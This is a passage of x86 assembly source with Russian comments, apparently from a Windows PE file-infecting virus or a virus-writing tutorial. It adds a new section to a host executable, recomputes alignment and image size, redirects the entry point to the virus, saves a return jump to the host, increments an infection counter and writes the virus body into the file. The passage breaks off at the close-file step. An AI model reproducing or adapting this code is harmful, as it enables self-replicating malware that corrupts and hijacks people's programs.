;Вычислим смещение последнего (null) объекта в таблице объектов
mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea eax,[ebp+offset peheader]
add esi,eax
xor eax,eax
mov ax,[ebp+offset numObj]
mov ecx,40
xor edx,edx
mul ecx
add esi,eax
;Увеличим число объектов на 1
inc word ptr [ebp+offset numObj]
lea edi,[ebp+offset newobject]
xchg edi,esi
;Вычислим относительный виртуальный адрес (Relative Virtual Address
;или RVA) нового объекта
mov eax,[edi−5*8+8]
add eax,[edi−5*8+12]
mov ecx,dword ptr [ebp+offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset RVA],eax
;Вычислим физический размер нового объекта
mov ecx,dword ptr [ebp+offset filealign]
mov eax,vend−vstart
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax
;Вычислим виртуальный размер нового объекта
mov ecx,dword ptr [ebp+offset objalign]
mov eax,vend–vstart+1000h
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax
;Вычислим физическое смещение нового объекта
mov eax,[edi−5*8+20]
add eax,[edi−5*8+16]
mov ecx,dword ptr [ebp+offset filealign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicaloffset],eax
;Обновим размер образа (размер в памяти) файла
mov eax,vend−vstart+1000h
add eax,dword ptr [ebp+offset imagesize]
mov ecx,[ebp+offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset imagesize],eax
;Скопируем новый объект в таблицу объектов
mov ecx,10
rep movsd
;Вычислим точку входа RVA
mov eax,dword ptr [ebp+offset RVA]
mov ebx,dword ptr [ebp+offset entrypointRVA]
mov dword ptr [ebp+offset entrypointRVA],eax
sub eax,ebx
add eax,5
;Установим значение, необходимое для возврата в носитель
mov dword ptr [ebp+offset subme],eax
;Поставим указатель позиции чтения/записи на начало PE−заголовка
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Запишем PE−заголовок и таблицу объектов в файл
push 0
lea eax,[ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax,[ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
;Увеличим счетчик заражений
inc byte ptr [ebp+offset countinfect]
;Поставим указатель позиции чтения/записи
;по физическому смещению нового объекта
push 0
push 0
push dword ptr [ebp+offset physicaloffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Запишем тело вируса в новый объект
push 0
lea eax,[ebp+offset bytesread]
push eax
push vend−vstart
lea eax,[ebp+offset vstart]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
;Закроем файл
notape:
push dword ptr [ebp+offset ahand]